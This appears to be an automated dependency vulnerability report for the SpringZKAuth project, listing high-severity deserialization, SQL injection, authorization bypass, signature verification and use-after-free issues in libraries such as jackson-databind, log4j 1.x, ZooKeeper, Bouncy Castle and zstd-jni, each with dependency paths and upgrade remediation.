  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.0.1.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.2.3.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A malicious user could perform a SSRF attack via the axis2-jaxws gadget due to an incomplete fix for the CVE-2017-7525 deserialization flaw.

Note: This vulnerability (CVE-2018-14721) is not identical to CVE-2018-12018, CVE-2018-14719, CVE-2018-14720, CVE-2018-14722,CVE-2018-12023 and CVE-2018-11307.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.5, 2.8.11.3, 2.9.7 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.1.1.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker could perform a Remote Code Execution attacks due to not blocking the jboss-common-core class from polymorphic deserialization.

Note This vulnerability (CVE-2018-19362) is not identical to CVE-2018-19360 and CVE-2018-19361.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.5, 2.8.11.3, 2.9.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.1.1.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker could perform a Remote Code Execution attacks due to not blocking the axis2-transport-jms class from polymorphic deserialization.

Note This vulnerability (CVE-2018-19360) is not identical to CVE-2018-19362 and CVE-2018-19361.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.5, 2.8.11.3, 2.9.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.1.1.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker could perform a Remote Code Execution attacks due to not blocking the axis2-transport-jms class from polymorphic deserialization.

Note This vulnerability (CVE-2018-19361) is not identical to CVE-2018-19362 and CVE-2018-19360.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.5, 2.8.11.3, 2.9.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: log4j:log4j
  • Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. CVE-2020-9493 identified a deserialization issue that was present in Apache Chainsaw. Prior to Chainsaw V2.0 Chainsaw was a component of Apache Log4j 1.2.x where the same issue exists.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

There is no fixed version for log4j:log4j.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: log4j:log4j
  • Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. JMSSink in all versions of Log4j 1.x is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration or if the configuration references an LDAP service the attacker has access to. The attacker can provide a TopicConnectionFactoryBindingName configuration causing JMSSink to perform JNDI requests that result in remote code execution in a similar fashion to CVE-2021-4104.

Note: this issue only affects Log4j 1.x when specifically configured to use JMSSink, which is not the default.

Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

There is no fixed version for log4j:log4j.

References

high severity

SQL Injection

  • Vulnerable module: log4j:log4j
  • Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to SQL Injection. By design, the JDBCAppender in Log4j 1.2.x accepts an SQL statement as a configuration parameter where the values to be inserted are converters from PatternLayout. The message converter, %m, is likely to always be included. This allows attackers to manipulate the SQL by entering crafted strings into input fields or headers of an application that are logged allowing unintended SQL queries to be executed.

Note: this issue only affects Log4j 1.x when specifically configured to use the JDBCAppender, which is not the default.

Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions. Beginning in version 2.0-beta8, the JDBCAppender was re-introduced with proper support for parameterized SQL queries and further customization over the columns written to in logs.

Remediation

There is no fixed version for log4j:log4j.

References

high severity

Authorization Bypass Through User-Controlled Key

  • Vulnerable module: org.apache.zookeeper:zookeeper
  • Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10

Overview

org.apache.zookeeper:zookeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.

Affected versions of this package are vulnerable to Authorization Bypass Through User-Controlled Key when the SASL Quorum Peer authentication is enabled (`quorum.auth.enableSasl=true), an attacker can bypass the authorization check by omitting the instance part in the SASL authentication ID. This allows an arbitrary endpoint to join the cluster and propagate counterfeit changes to the leader, effectively granting it full read-write access to the data tree.

Note:

  1. This is only exploitable if quorum.auth.enableSasl=true is set in the configuration.

  2. Quorum Peer authentication is not enabled by default.

Remediation

Upgrade org.apache.zookeeper:zookeeper to version 3.7.2, 3.8.3, 3.9.1 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) via a large depth of nested objects.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.6.1, 2.13.2.1 or higher.

References

high severity
new

Improper Verification of Cryptographic Signature

  • Vulnerable module: org.bouncycastle:bcprov-jdk18on
  • Introduced through: org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 › org.springframework.cloud:spring-cloud-starter@5.1.0-M1 › org.bouncycastle:bcprov-jdk18on@1.85.2
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 › org.springframework.cloud:spring-cloud-config-client@5.1.0-M1 › org.springframework.cloud:spring-cloud-starter@5.1.0-M1 › org.bouncycastle:bcprov-jdk18on@1.85.2

Overview

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature via the BLS12_381BasicScheme.keyValidate path in BLS12_381BasicScheme.java. An attacker can be accepted as a signer in BLS aggregate verification by supplying an ECPoint built on a non-canonical ECCurve that shares BLS12-381’s field characteristic but forges a cofactor of 1. The vulnerable subgroup check trusts the point’s own curve object, so a point that is not actually on the canonical G1 curve can pass keyValidate and then contribute nothing to the pairing result. This lets an aggregate signature verify even though one of the listed public keys did not sign the message, causing phantom-signer acceptance in applications that construct authority-bearing keys from explicit curve objects.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.86 or higher.

References

high severity
new

Use After Free

  • Vulnerable module: com.github.luben:zstd-jni
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.springframework.kafka:spring-kafka@4.2.0-M2 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka@4.2.0-M2 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10

Overview

Affected versions of this package are vulnerable to Use After Free through the dictionary handling in ZstdInputStreamNoFinalizer, ZstdOutputStreamNoFinalizer, ZstdCompressCtx, and ZstdDecompressCtx. An attacker can trigger native memory corruption or a JVM crash by closing a compression or decompression dictionary after it has been attached to a stream or context and then continuing to call read() or write() on that object. The vulnerable code releases the dictionary’s shared lock immediately after the native load call, while the stream or context still keeps a raw reference to the freed native dictionary. This leaves later compression or decompression operations using dangling dictionary state, which can produce silent data corruption or abort the Java process.

Remediation

Upgrade com.github.luben:zstd-jni to version 1.5.7-14 or higher.

References

high severity
new

Use After Free

  • Vulnerable module: com.github.luben:zstd-jni
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.springframework.kafka:spring-kafka@4.2.0-M2 and others

Detailed paths

